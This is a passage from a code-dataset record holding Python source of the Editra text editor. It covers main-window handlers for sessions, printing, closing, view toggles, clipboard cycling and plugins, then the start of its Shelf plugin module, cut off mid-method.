@todo: Save all windows and what the active tabs are as well\n\n \"\"\"\n if evt.GetId() == ID_SAVE_SESSION:\n # TODO: set current profile as default\n dlg = wx.FileDialog(self, _(\"Where to Save Session?\"), \\\n CONFIG['SESSION_DIR'], u\"\", \\\n _(\"Session\") + \" (*.session)|*.session\",\n wx.SAVE | wx.OVERWRITE_PROMPT)\n\n if ebmlib.LockCall(self._mlock, dlg.ShowModal) == wx.ID_OK:\n fname = dlg.GetPath()\n if fname is None or not len(fname):\n return\n\n if not fname.endswith('.session'):\n fname = fname.rstrip(u'.') + u'.session'\n rval = self.nb.SaveSessionFile(fname)\n if rval is not None:\n wx.MessageBox(rval[1], rval[0], wx.OK|wx.ICON_ERROR)\n return\n\n self.PushStatusText(_(\"Session Saved as: %s\") % fname, SB_INFO)\n _PSET('LAST_SESSION', fname)\n dlg.Destroy()\n else:\n evt.Skip()\n\n def OnLoadSession(self, evt):\n \"\"\"Load a saved session.\"\"\"\n if evt.GetId() == ID_LOAD_SESSION:\n # TODO: set current file as default\n dlg = wx.FileDialog(self, _(\"Load a Session file\"),\n CONFIG['SESSION_DIR'], u\"\",\n _(\"Session\") + \" (*.session)|*.session\", wx.OPEN)\n\n if ebmlib.LockCall(self._mlock, dlg.ShowModal) == wx.ID_OK:\n fname = dlg.GetPath()\n nbook = self.GetNotebook()\n rval = nbook.LoadSessionFile(fname)\n\n # Check for an error during load\n if rval is not None:\n wx.MessageBox(rval[1], rval[0], wx.OK|wx.ICON_WARNING)\n return\n \n self.PushStatusText(_(\"Loaded Session: %s\") % fname, SB_INFO)\n _PSET('LAST_SESSION', fname)\n\n dlg.Destroy()\n else:\n evt.Skip()\n\n def OnStatus(self, evt):\n \"\"\"Update status text with messages from other controls\n @param evt: event that called this handler\n\n \"\"\"\n self.SetStatusText(evt.GetMessage(), evt.GetSection())\n\n def OnPrint(self, evt):\n \"\"\"Handles sending the current document to the printer,\n showing print previews, and opening the printer settings\n dialog.\n @todo: is any manual cleanup required for the printer objects?\n @param evt: wxMenuEvent\n\n \"\"\"\n e_id = evt.GetId()\n printer = MainWindow.PRINTER\n printer.SetStc(self.nb.GetCurrentCtrl())\n printer.SetColourMode(_PGET('PRINT_MODE'))\n if e_id == ID_PRINT:\n printer.Print()\n elif e_id == ID_PRINT_PRE:\n printer.Preview()\n elif e_id == ID_PRINT_SU:\n printer.PageSetup()\n else:\n evt.Skip()\n\n def Close(self, force=False):\n \"\"\"Close the window\n @param force: force the closer by vetoing the event handler\n\n \"\"\"\n if force:\n return wx.Frame.Close(self, True)\n else:\n result = self.OnClose()\n return not result\n\n def OnClose(self, evt=None):\n \"\"\"Close this frame and unregister it from the applications\n mainloop.\n @note: Closing the frame will write out all session data to the\n users configuration directory.\n @keyword evt: Event fired that called this handler\n @type evt: wxMenuEvent\n @return: None on destroy, or True on cancel\n\n \"\"\"\n # Save session files\n self.nb.SaveCurrentSession()\n\n # Cleanup Controls\n self._exiting = True\n controls = self.nb.GetPageCount()\n self.LOG(\"[ed_main][evt] OnClose: Number of controls: %d\" % controls)\n self.Freeze()\n while controls:\n if controls <= 0:\n self.Close(True) # Force exit since there is a problem\n\n self.LOG(\"[ed_main][evt] OnClose: Requesting Page Close\")\n if not self.nb.ClosePage():\n self.Thaw()\n self._exiting = False\n ed_msg.PostMessage(ed_msg.EDMSG_UI_NB_CHANGED,\n (self.nb, self.nb.GetSelection()))\n return True\n controls -= 1\n self.Thaw()\n\n ### If we get to here there is no turning back so cleanup\n ### additional items and save user settings\n\n # Write out saved document information\n self.nb.DocMgr.WriteBook()\n syntax.SyntaxMgr().SaveState()\n\n # Save Shelf contents\n _PSET('SHELF_ITEMS', self._shelf.GetItemStack())\n _PSET('SHELF_LAYOUT', self._shelf.GetPerspective())\n _PSET('SHELF_SELECTION', self._shelf.GetSelection())\n\n # Save Window Size/Position for next launch\n self.UpdateAutoPerspective()\n\n # XXX On wxMac the window size doesnt seem to take the toolbar\n # into account so destroy it so that the window size is accurate.\n if wx.Platform == '__WXMAC__' and self.GetToolBar():\n self.GetToolBar().Destroy()\n\n # Raise the window from being iconized so that the size and position is\n # correct for the next launch (msw).\n if self.IsIconized():\n self.Iconize(False)\n\n _PSET('WSIZE', self.GetSizeTuple())\n _PSET('MAXIMIZED', self.IsMaximized())\n _PSET('WPOS', self.GetPositionTuple())\n\n self.LOG(\"[ed_main][evt] OnClose: Closing editor at pos=%s size=%s\" % \\\n (_PGET('WPOS', 'str'), _PGET('WSIZE', 'str')))\n\n # Cleanup file history\n # TODO: Find out why filehistory can be undefined by this point\n # sometimes.\n try:\n _PSET('FHIST', self.filehistory.History)\n except AttributeError:\n self.LOG(\"[ed_main][err] OnClose: Trapped AttributeError OnExit\")\n\n # Update profile\n ppath = _PGET('MYPROFILE')\n profiler.TheProfile.Write(ppath)\n self.LOG(\"[ed_main][info] Saving profile to %s\" % ppath)\n\n # Post exit notice to all aui panes\n panes = self.PanelMgr.GetAllPanes()\n exit_evt = ed_event.MainWindowExitEvent(ed_event.edEVT_MAINWINDOW_EXIT,\n wx.ID_ANY)\n for pane in panes:\n wx.PostEvent(pane.window, exit_evt)\n\n # Finally close the window\n self.LOG(\"[ed_main][evt] OnClose: Closing Main Frame\")\n wx.GetApp().UnRegisterWindow(repr(self))\n\n # Ensure that event handlers have been un registered from the app\n wx.UpdateUIEvent.SetMode(wx.UPDATE_UI_PROCESS_ALL)\n\n # Cleanup\n self.Destroy()\n\n #---- End File Menu Functions ----#\n\n #---- View Menu Functions ----#\n def OnShowStatusBar(self, evt):\n \"\"\"Toggles visibility of status bar\n @param evt: wxMenuEvent\n\n \"\"\"\n if evt.GetId() == ID_SHOW_SB:\n show = not self.GetStatusBar().IsShown()\n _PSET('STATBAR', show)\n self.GetStatusBar().Show(show)\n self.SendSizeEvent()\n else:\n evt.Skip()\n\n def OnViewTb(self, evt):\n \"\"\"Toggles visibility of toolbar\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n if evt.GetId() == ID_VIEW_TOOL:\n size = self.GetSize()\n toolbar = self.GetToolBar()\n if _PGET('TOOLBAR', 'bool', False) or toolbar.IsShown():\n _PSET('TOOLBAR', False)\n toolbar.Hide()\n if wx.Platform != '__WXMAC__':\n self.SetSize((size[0], size[1] - toolbar.GetSize()[1]))\n else:\n _PSET('TOOLBAR', True)\n toolbar.Show()\n if wx.Platform != '__WXMAC__':\n self.SetSize((size[0], size[1] + toolbar.GetSize()[1]))\n\n self.SendSizeEvent()\n self.Refresh()\n self.Update()\n else:\n evt.Skip()\n\n def OnMaximizeEditor(self, evt):\n \"\"\"Maximize the editor and hide the other panes. If the editor\n is already maximized, it is un-maximized and the other panes are restored \n @param evt: CommandEvent instance\n\n \"\"\"\n paneInfo = self.PanelMgr.GetPane(\"EditPane\")\n if paneInfo.IsMaximized():\n self.PanelMgr.RestorePane(paneInfo)\n ed_msg.PostMessage(ed_msg.EDMSG_UI_STC_RESTORE, context=self.GetId())\n else:\n self.PanelMgr.RestoreMaximizedPane()\n self.PanelMgr.MaximizePane(paneInfo)\n self.PanelMgr.Update()\n \n #---- End View Menu Functions ----#\n\n #---- Format Menu Functions ----#\n def OnFont(self, evt):\n \"\"\"Open Font Settings Dialog for changing fonts on a per document\n basis.\n @status: This currently does not allow for font settings to stick\n from one session to the next.\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n if evt.GetId() == ID_FONT:\n ctrl = self.nb.GetCurrentCtrl()\n fdata = wx.FontData()\n fdata.SetInitialFont(ctrl.GetDefaultFont())\n dlg = wx.FontDialog(self, fdata)\n result = ebmlib.LockCall(self._mlock, dlg.ShowModal)\n data = dlg.GetFontData()\n dlg.Destroy()\n if result == wx.ID_OK:\n font = data.GetChosenFont()\n ctrl.SetGlobalFont(self.nb.control.FONT_PRIMARY, \\\n font.GetFaceName(), font.GetPointSize())\n ctrl.SetGlobalFont(self.nb.control.FONT_SECONDARY, \\\n font.GetFaceName(), font.GetPointSize())\n ctrl.UpdateAllStyles()\n else:\n evt.Skip()\n\n #---- End Format Menu Functions ----#\n\n #---- Tools Menu Functions ----#\n def OnStyleEdit(self, evt):\n \"\"\"Opens the style editor\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n if evt.GetId() == ID_STYLE_EDIT:\n import style_editor\n dlg = style_editor.StyleEditor(self)\n dlg.CenterOnParent()\n ebmlib.LockCall(self._mlock, dlg.ShowModal)\n dlg.Destroy()\n else:\n evt.Skip()\n\n def OnPluginMgr(self, evt):\n \"\"\"Opens and shows Plugin Manager window\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n if evt.GetId() == ID_PLUGMGR:\n import plugdlg\n win = wx.GetApp().GetWindowInstance(plugdlg.PluginDialog)\n if win is not None:\n win.Raise()\n return\n dlg = plugdlg.PluginDialog(self, wx.ID_ANY, PROG_NAME + \" \" \\\n + _(\"Plugin Manager\"), \\\n size=wx.Size(550, 450))\n dlg.CenterOnParent()\n dlg.Show()\n else:\n evt.Skip()\n\n def OnGenerate(self, evt):\n \"\"\"Generates a given document type\n @requires: PluginMgr must be initialized and have active\n plugins that implement the Generator Interface\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n e_id = evt.GetId()\n gen = generator.Generator(wx.GetApp().GetPluginManager())\n doc = gen.GenerateText(e_id, self.nb.GetCurrentCtrl())\n if doc:\n self.nb.NewPage()\n ctrl = self.nb.GetCurrentCtrl()\n ctrl.SetText(doc[1])\n ctrl.FindLexer(doc[0])\n else:\n evt.Skip()\n\n #---- Misc Function Definitions ----#\n def DispatchToControl(self, evt):\n \"\"\"Catches events that need to be passed to the current\n text control for processing.\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n if not self.IsActive():\n evt.Skip()\n return\n\n e_id = evt.GetId()\n ctrl = self.nb.GetCurrentCtrl()\n active_only = [ ID_ZOOM_IN, ID_ZOOM_OUT, ID_ZOOM_NORMAL,\n ID_JOIN_LINES, ID_CUT_LINE, ID_COPY_LINE, ID_INDENT,\n ID_UNINDENT, ID_TRANSPOSE, ID_TOGGLECOMMENT,\n ID_LINE_MOVE_UP, ID_LINE_MOVE_DOWN,\n ID_SELECTALL, ID_UNDO, ID_REDO, ID_CUT, ID_COPY,\n ID_PASTE, ID_LINE_BEFORE, ID_LINE_AFTER, ID_DUP_LINE,\n ID_PASTE_AFTER, ID_COLUMN_MODE, ID_TOGGLE_FOLD,\n ID_CYCLE_CLIPBOARD,\n ID_TOGGLE_ALL_FOLDS, ID_DELETE_LINE,\n ID_SHOW_AUTOCOMP, ID_SHOW_CALLTIP ]\n\n # Special handling for common clipboard related actions\n has_focus = self.FindFocus()\n is_stc = isinstance(has_focus, wx.stc.StyledTextCtrl)\n if has_focus is not None:\n if e_id == ID_PASTE and hasattr(has_focus, 'Paste'):\n has_focus.Paste()\n return\n elif e_id == ID_CYCLE_CLIPBOARD:\n start, end = has_focus.GetSelection()\n start, end = min(start, end), max(start, end)\n\n if is_stc:\n txt = has_focus.GetTextRange(start, end)\n elif hasattr(has_focus, 'GetRange'):\n txt = has_focus.GetRange(start, end)\n else:\n self.LOG(\"[ed_main][warn] no range meth in cycle clipboard\")\n return\n\n if not MainWindow.CLIPBOARD.IsAtIndex(txt):\n MainWindow.CLIPBOARD.Reset()\n\n next = MainWindow.CLIPBOARD.GetNext()\n if is_stc:\n has_focus.ReplaceSelection(next)\n elif hasattr(has_focus, 'Replace'):\n has_focus.Replace(start, end, next)\n else:\n return\n\n has_focus.SetSelection(start, start+len(next))\n return\n elif e_id == ID_CUT and hasattr(has_focus, 'Cut'):\n start, end = has_focus.GetSelection()\n if is_stc:\n txt = has_focus.GetTextRange(start, end)\n elif hasattr(has_focus, 'GetRange'):\n txt = has_focus.GetRange(start, end)\n MainWindow.CLIPBOARD.Put(txt)\n has_focus.Cut()\n return\n elif e_id == ID_COPY and hasattr(has_focus, 'Copy'):\n start, end = has_focus.GetSelection()\n if is_stc:\n txt = has_focus.GetTextRange(start, end)\n elif hasattr(has_focus, 'GetRange'):\n txt = has_focus.GetRange(start, end)\n MainWindow.CLIPBOARD.Put(txt)\n has_focus.Copy()\n return\n elif e_id == ID_REDO and hasattr(has_focus, 'Redo'):\n has_focus.Redo()\n return\n elif e_id == ID_UNDO and hasattr(has_focus, 'Undo'):\n has_focus.Undo()\n return\n\n menu_ids = list(syntax.SYNTAX_IDS)\n menu_ids.extend([ID_SHOW_EOL, ID_SHOW_WS, ID_INDENT_GUIDES, ID_SYNTAX,\n ID_WORD_WRAP, ID_BRACKETHL, ID_EOL_MAC, ID_EOL_UNIX,\n ID_EOL_WIN, ID_NEXT_MARK, ID_PRE_MARK, ID_ADD_BM,\n ID_DEL_ALL_BM, ID_FOLDING, ID_AUTOCOMP, ID_SHOW_LN,\n ID_AUTOINDENT, ID_TAB_TO_SPACE, ID_SPACE_TO_TAB,\n ID_TRIM_WS, ID_SHOW_EDGE, ID_MACRO_START,\n ID_MACRO_STOP, ID_MACRO_PLAY, ID_TO_LOWER,\n ID_TO_UPPER, ID_USE_SOFTTABS,\n ID_GOTO_MBRACE, ID_HLCARET_LINE, ID_REVERT_FILE,\n ])\n menu_ids.extend(active_only)\n\n if e_id in menu_ids:\n ctrl.ControlDispatch(evt)\n else:\n evt.Skip()\n return\n\n def OnReloadWithEnc(self, evt):\n \"\"\"Reload the current file with a specified encoding\n @param evt: wx.MenuEvent\n\n \"\"\"\n if evt.GetId() == ID_RELOAD_ENC:\n ctrl = self.nb.GetCurrentCtrl()\n doc = ctrl.GetDocument()\n cenc = doc.GetEncoding()\n dlg = eclib.EncodingDialog(self.GetNotebook(),\n msg=_(\"Select an encoding to reload the file with\"),\n title=_(\"Reload with Encoding\"),\n default=cenc)\n bmp = wx.ArtProvider.GetBitmap(str(ID_DOCPROP), wx.ART_OTHER)\n if bmp.IsOk():\n dlg.SetBitmap(bmp)\n dlg.CenterOnParent()\n\n if ebmlib.LockCall(self._mlock, dlg.ShowModal) == wx.ID_OK:\n nenc = dlg.GetEncoding()\n doc.SetEncoding(nenc)\n success = ctrl.ReloadFile()[0]\n if not success:\n msg = _(\"Failed to reload the file with: %(encoding)s\") % dict(encoding=nenc)\n wx.MessageBox(msg, style=wx.OK|wx.ICON_ERROR)\n # Revert to previous encoding\n doc.SetEncoding(cenc)\n ctrl.ReloadFile()\n dlg.Destroy()\n else:\n evt.Skip()\n\n def OnPaneList(self, evt):\n \"\"\"Navigates through panes\n @param evt: CommandEvent instance\n\n \"\"\"\n if evt.GetId() == ID_PANELIST:\n if self._paneNavi is not None:\n return\n\n bmp = wx.ArtProvider.GetBitmap(str(ID_NEW_WINDOW), wx.ART_MENU)\n self._paneNavi = eclib.AuiPaneNavigator(self, self.PanelMgr, bmp,\n _(\"Aui Pane Navigator\"))\n self._paneNavi.SetReturnCode(wx.ID_OK)\n ebmlib.LockCall(self._mlock, self._paneNavi.ShowModal)\n\n sel = self._paneNavi.GetSelection()\n self._paneNavi.Destroy()\n self._paneNavi = None\n\n if isinstance(sel, basestring):\n paneInfo = self.PanelMgr.GetPane(sel)\n if paneInfo.IsOk():\n if not paneInfo.IsShown():\n paneInfo.Show()\n self.PanelMgr.Update()\n # Notify activation if the window supports it\n if hasattr(paneInfo.window, \"OnShowAUIPane\"):\n paneInfo.window.OnShowAUIPane()\n paneInfo.window.SetFocus()\n else:\n evt.Skip()\n\n # Menu Update Handlers\n def OnUpdateFileUI(self, evt):\n \"\"\"Update filemenu items\n @param evt: EVT_UPDATE_UI\n\n \"\"\"\n if not self.IsActive():\n return\n\n e_id = evt.GetId()\n ctrl = self.nb.GetCurrentCtrl()\n if e_id == ID_REVERT_FILE:\n evt.Enable(ctrl.GetModify())\n elif e_id == ID_RELOAD_ENC:\n evt.Enable(len(ctrl.GetFileName()))\n else:\n evt.Skip()\n\n def OnUpdateClipboardUI(self, evt):\n \"\"\"Update clipboard related menu/toolbar items\n @param evt: EVT_UPDATE_UI\n\n \"\"\"\n if not self.IsActive():\n return\n\n e_id = evt.GetId()\n focus = self.FindFocus()\n enable = False\n if e_id == ID_UNDO:\n if hasattr(focus, 'CanUndo'):\n enable = focus.CanUndo()\n evt.Enable(enable)\n elif e_id == ID_REDO:\n if hasattr(focus, 'CanRedo'):\n enable = focus.CanRedo()\n evt.Enable(enable)\n elif e_id in (ID_PASTE, ID_PASTE_AFTER, ID_CYCLE_CLIPBOARD):\n if hasattr(focus, 'CanPaste'):\n enable = focus.CanPaste()\n evt.Enable(enable)\n elif e_id == ID_COPY:\n if hasattr(focus, 'CanCopy'):\n enable = focus.CanCopy()\n evt.Enable(enable)\n elif e_id == ID_CUT:\n if hasattr(focus, 'CanCut'):\n enable = focus.CanCut()\n evt.Enable(enable)\n elif e_id == ID_COLUMN_MODE:\n if hasattr(focus, 'IsColumnMode'):\n evt.Enable(True)\n else:\n evt.Enable(False)\n evt.Check(enable)\n else:\n evt.Skip()\n\n def OnUpdateFormatUI(self, evt):\n \"\"\"Update status of format menu items\n @param evt: wxEVT_UPDATE_UI\n\n \"\"\"\n if not self.IsActive():\n return\n\n e_id = evt.GetId()\n ctrl = self.nb.GetCurrentCtrl()\n if e_id == ID_USE_SOFTTABS:\n evt.Check(not bool(ctrl.GetUseTabs()))\n elif e_id == ID_WORD_WRAP:\n evt.Check(bool(ctrl.GetWrapMode()))\n elif e_id in [ID_EOL_MAC, ID_EOL_WIN, ID_EOL_UNIX]:\n evt.Check(ctrl.GetEOLModeId() == e_id)\n elif e_id in [ID_INDENT, ID_TO_UPPER, ID_TO_LOWER]:\n evt.Enable(ctrl.GetSelectionStart() != ctrl.GetSelectionEnd())\n else:\n evt.Skip()\n\n def OnUpdateLexerUI(self, evt):\n \"\"\"Update status of lexer menu\n @param evt: wxEVT_UPDATE_UI\n\n \"\"\"\n if not self.IsActive():\n return\n\n e_id = evt.GetId()\n if e_id in syntax.SYNTAX_IDS:\n lang = self.nb.GetCurrentCtrl().GetLangId()\n evt.Check(lang == evt.GetId())\n else:\n evt.Skip()\n\n def OnUpdateSettingsUI(self, evt):\n \"\"\"Update settings menu items\n @param evt: wxEVT_UPDATE_UI\n\n \"\"\"\n if not self.IsActive():\n return\n\n e_id = evt.GetId()\n ctrl = self.nb.GetCurrentCtrl()\n if e_id == ID_AUTOCOMP:\n evt.Check(ctrl.GetAutoComplete())\n elif e_id == ID_AUTOINDENT:\n evt.Check(ctrl.GetAutoIndent())\n elif e_id == ID_SYNTAX:\n evt.Check(ctrl.IsHighlightingOn())\n elif e_id == ID_FOLDING:\n evt.Check(ctrl.IsFoldingOn())\n elif e_id == ID_BRACKETHL:\n evt.Check(ctrl.IsBracketHlOn())\n else:\n evt.Skip()\n\n def OnUpdateViewUI(self, evt):\n \"\"\"Update status of view menu items\n @param evt: wxEVT_UPDATE_UI\n\n \"\"\"\n if not self.IsActive():\n return\n\n e_id = evt.GetId()\n ctrl = self.nb.GetCurrentCtrl()\n zoom = ctrl.GetZoom()\n if e_id == ID_ZOOM_NORMAL:\n evt.Enable(zoom)\n elif e_id == ID_ZOOM_IN:\n evt.Enable(zoom < 18)\n elif e_id == ID_ZOOM_OUT:\n evt.Enable(zoom > -8)\n elif e_id == ID_GOTO_MBRACE:\n evt.Enable(-1 not in ctrl.GetBracePair())\n elif e_id == ID_HLCARET_LINE:\n evt.Check(ctrl.GetCaretLineVisible())\n elif e_id == ID_SHOW_SB:\n evt.Check(self.GetStatusBar().IsShown())\n elif e_id == ID_VIEW_TOOL:\n evt.Check(self.GetToolBar().IsShown())\n elif e_id == ID_SHOW_WS:\n evt.Check(bool(ctrl.GetViewWhiteSpace()))\n elif e_id == ID_SHOW_EDGE:\n evt.Check(bool(ctrl.GetEdgeMode()))\n elif e_id == ID_SHOW_EOL:\n evt.Check(bool(ctrl.GetViewEOL()))\n elif e_id == ID_SHOW_LN:\n evt.Check(bool(ctrl.GetMarginWidth(1)))\n elif e_id == ID_INDENT_GUIDES:\n evt.Check(bool(ctrl.GetIndentationGuides()))\n elif e_id == ID_MAXIMIZE_EDITOR:\n paneInfo = self.PanelMgr.GetPane(\"EditPane\")\n binder = self.MenuBar.GetKeyBinder()\n binding = binder.GetBinding(ID_MAXIMIZE_EDITOR)\n txt = _(\"Maximize Editor\")\n if paneInfo.IsMaximized():\n txt = _(\"Restore Editor\")\n evt.SetText(txt + binding)\n else:\n evt.Skip()\n\n def OnCommandBar(self, evt):\n \"\"\"Open the Commandbar\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n e_id = evt.GetId()\n if e_id in (ID_QUICK_FIND, ID_GOTO_LINE, ID_COMMAND):\n self._mpane.ShowCommandControl(e_id)\n else:\n evt.Skip()\n\n def OnCustomizeLangMenu(self, evt):\n \"\"\"Show the lexer menu customization dialog\"\"\"\n if evt.GetId() == ID_LEXER_CUSTOM:\n dlg = eclib.FilterDialog(self, title=_(\"Customize Menu\"),\n style=wx.DEFAULT_DIALOG_STYLE|wx.RESIZE_BORDER)\n mconfig = _PGET(\"LEXERMENU\", default=list())\n flters = dict()\n for item in syntax.SyntaxNames():\n if item in mconfig:\n flters[item] = True\n else:\n flters[item] = False\n dlg.SetListValues(flters)\n dlg.SetInitialSize()\n dlg.CenterOnParent()\n\n if ebmlib.LockCall(self._mlock, dlg.ShowModal) == wx.ID_OK:\n includes = dlg.GetIncludes()\n includes.sort()\n _PSET(\"LEXERMENU\", includes)\n ed_msg.PostMessage(ed_msg.EDMSG_CREATE_LEXER_MENU)\n dlg.Destroy()\n else:\n evt.Skip()\n\n def OnHelp(self, evt):\n \"\"\"Handles help related menu events\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n import webbrowser\n e_id = evt.GetId()\n if e_id == ID_HOMEPAGE:\n page = HOME_PAGE\n elif e_id == ID_DOCUMENTATION:\n page = HOME_PAGE + \"/documentation\"\n elif e_id == ID_TRANSLATE:\n page = I18N_PAGE\n elif e_id == ID_CONTACT:\n webbrowser.open(\"mailto:%s\" % CONTACT_MAIL)\n return\n elif e_id == ID_BUG_TRACKER:\n page = \"http://code.google.com/p/editra/issues/list\"\n else:\n evt.Skip()\n return\n\n # It seems under some cases when running under windows the call to\n # subprocess in webbrowser will fail and raise an exception here. So\n # simply trap and ignore it.\n try:\n self.PushStatusText(_(\"Opening %s\") % page, SB_INFO)\n webbrowser.open(page, 1)\n except:\n self.PushStatusText(_(\"Error: Unable to open %s\") % page, SB_INFO)\n\n def PushStatusText(self, txt, field):\n \"\"\"Override so that our custom status bar's method gets called\n do to these wxFrame methods not being exposed as virtuals.\n\n \"\"\"\n sb = self.GetStatusBar()\n if sb:\n sb.PushStatusText(txt, field)\n\n SetStatusText = PushStatusText\n\n def SetTitle(self, title=u''):\n \"\"\"Sets the windows title\n @param title: The text to tag on to the default frame title\n @type title: string\n\n \"\"\"\n name = u\"%s v%s\" % (PROG_NAME, VERSION)\n if len(title):\n name = u\" - \" + name\n super(MainWindow, self).SetTitle(title + name)\n\n def SetupToolBar(self):\n \"\"\"Setup or reinitialize the windows ToolBar\"\"\"\n tb = self.GetToolBar()\n if tb:\n tb.Destroy()\n self.SetToolBar(ed_toolbar.EdToolBar(self))\n self.GetToolBar().Show(_PGET('TOOLBAR'))\n self.Layout()\n\n @classmethod\n def UpdateClipboardRing(cls):\n \"\"\"Update the clipboard ring to sync it with the\n system clipboard.\n @note: for internal use only\n\n \"\"\"\n txt = util.GetClipboardText()\n if txt is None or cls.CLIPBOARD.IsAtIndex(txt):\n return\n\n # Something new has come in from an external program\n cls.CLIPBOARD.Reset()\n cls.CLIPBOARD.Put(txt)\n\n#-----------------------------------------------------------------------------#\n# Event handlers that don't need to be part of the class\n\ndef OnAbout(evt):\n \"\"\"Show the About Dialog\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n if evt.GetId() == ID_ABOUT:\n info = wx.AboutDialogInfo()\n year = time.localtime()\n desc = [_(\"Editra is a programmers text editor.\"),\n _(\"Written in 100%% Python.\"),\n _(\"Homepage\") + \": \" + HOME_PAGE + \"\\n\",\n _(\"Platform Info\") + \": (%s,%s)\",\n _(\"License: wxWindows (see COPYING.txt for full license)\")]\n desc = \"\\n\".join(desc)\n py_version = sys.platform + \", python \" + sys.version.split()[0]\n platform = list(wx.PlatformInfo[1:])\n platform[0] += (\" \" + wx.VERSION_STRING)\n wx_info = \", \".join(platform)\n info.SetCopyright(_(\"Copyright\") + \"(C) 2005-%d <NAME>\" % year[0])\n info.SetName(PROG_NAME.title())\n info.SetDescription(desc % (py_version, wx_info))\n info.SetVersion(VERSION)\n wx.AboutBox(info)\n else:\n evt.Skip()\n\ndef OnPreferences(evt):\n \"\"\"Open the Preference Panel\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n if evt.GetId() == ID_PREF:\n cursor = wx.BusyCursor()\n win = wx.GetApp().GetWindowInstance(prefdlg.PreferencesDialog)\n if win is not None:\n win.Raise()\n else:\n dlg = prefdlg.PreferencesDialog(None)\n dlg.CenterOnParent()\n dlg.Show()\n del cursor\n else:\n evt.Skip()\n\n#-----------------------------------------------------------------------------#\n# Plugin interface to the MainWindow\n\nclass MainWindowAddOn(plugin.Plugin):\n \"\"\"Plugin that Extends the L{MainWindowI}\"\"\"\n observers = plugin.ExtensionPoint(iface.MainWindowI)\n def Init(self, window):\n \"\"\"Call all observers once to initialize\n @param window: window that observers become children of\n\n \"\"\"\n for observer in self.observers:\n try:\n observer.PlugIt(window)\n except Exception, msg:\n util.Log(\"[ed_main][err] MainWindowAddOn.Init: %s\" % str(msg))\n\n def GetEventHandlers(self, ui_evt=False):\n \"\"\"Get Event handlers and Id's from all observers\n @keyword ui_evt: Get Update Ui handlers (default get menu handlers)\n @return: list [(ID_FOO, foo.OnFoo), (ID_BAR, bar.OnBar)]\n\n \"\"\"\n handlers = list()\n for observer in self.observers:\n try:\n items = None\n if ui_evt:\n if hasattr(observer, 'GetUIHandlers'):\n items = observer.GetUIHandlers()\n assert isinstance(items, list), \"Must be a list()!\"\n else:\n if hasattr(observer, 'GetMenuHandlers'):\n items = observer.GetMenuHandlers()\n assert isinstance(items, list), \"Must be a list()!\"\n except Exception, msg:\n util.Log(\"[ed_main][err] MainWindowAddOn.GetEventHandlers: %s\" % str(msg))\n continue\n\n if items is not None:\n handlers.extend(items)\n\n return handlers\n", "id": "2452333", "language": "Python", "matching_score": 5.002078056335449, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ed_main.py" }, { "content": "###############################################################################\n# Name: ed_shelf.py #\n# Purpose: Editra Shelf container #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2009 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nShelf plugin and control implementation\n\n@summary: Shelf Implementation\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: ed_shelf.py 68233 2011-07-12 03:01:16Z CJP $\"\n__revision__ = \"$Revision: 68233 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport re\nimport wx\n\n# Editra Imports\nimport ed_menu\nimport ed_glob\nfrom profiler import Profile_Get\nimport ed_msg\nimport plugin\nimport iface\nfrom extern import aui\nimport ed_book\nimport ebmlib\n\n#--------------------------------------------------------------------------#\n# Globals\nPGNUM_PAT = re.compile(' - [0-9]+')\n_ = wx.GetTranslation\n\n#-----------------------------------------------------------------------------#\n\nclass Shelf(plugin.Plugin):\n \"\"\"Plugin that creates a notebook for holding the various Shelf items\n implemented by L{ShelfI}.\n\n \"\"\"\n SHELF_NAME = u'Shelf'\n observers = plugin.ExtensionPoint(iface.ShelfI)\n\n def GetUiHandlers(self, delegate):\n \"\"\"Gets the update ui handlers for the shelf's menu\n @param delegate: L{EdShelfDelegate} instance\n @return: [(ID, handler),]\n\n \"\"\"\n handlers = [ (item.GetId(), delegate.UpdateShelfMenuUI)\n for item in self.observers ]\n return handlers\n\n def Init(self, parent):\n \"\"\"Mixes the shelf into the parent window\n @param parent: Reference to MainWindow\n @return: L{EdShelfDelegate}\n\n \"\"\"\n # First check if the parent has an instance already\n parent = parent\n mgr = parent.GetFrameManager()\n if mgr.GetPane(Shelf.SHELF_NAME).IsOk():\n return\n\n shelf = EdShelfBook(parent)\n mgr.AddPane(shelf,\n wx.aui.AuiPaneInfo().Name(Shelf.SHELF_NAME).\\\n Caption(_(\"Shelf\")).Bottom().Layer(0).\\\n CloseButton(True).MaximizeButton(True).\\\n BestSize(wx.Size(500,250)))\n\n # Hide the pane and let the perspective manager take care of it\n mgr.GetPane(Shelf.SHELF_NAME).Hide()\n mgr.Update()\n\n # Create the delegate\n delegate = EdShelfDelegate(shelf, self)\n\n # Install Shelf menu under View and bind event handlers\n view = parent.GetMenuBar().GetMenuByName(\"view\")\n menu = delegate.GetMenu()\n pos = 0\n for pos in range(view.GetMenuItemCount()):\n mitem = view.FindItemByPosition(pos)\n if mitem.GetId() == ed_glob.ID_PERSPECTIVES:\n break\n\n view.InsertMenu(pos + 1, ed_glob.ID_SHELF, _(\"Shelf\"), \n menu, _(\"Put an item on the Shelf\"))\n\n for item in menu.GetMenuItems():\n if item.IsSeparator():\n continue\n parent.Bind(wx.EVT_MENU, delegate.OnGetShelfItem, item)\n\n if menu.GetMenuItemCount() < 3:\n view.Enable(ed_glob.ID_SHELF, False)\n\n # Check for any other plugin specific install needs\n for observer in self.observers:\n if not observer.IsInstalled() and \\\n hasattr(observer, 'InstallComponents'):\n observer.InstallComponents(parent)\n\n # Only Load Perspective if all items are 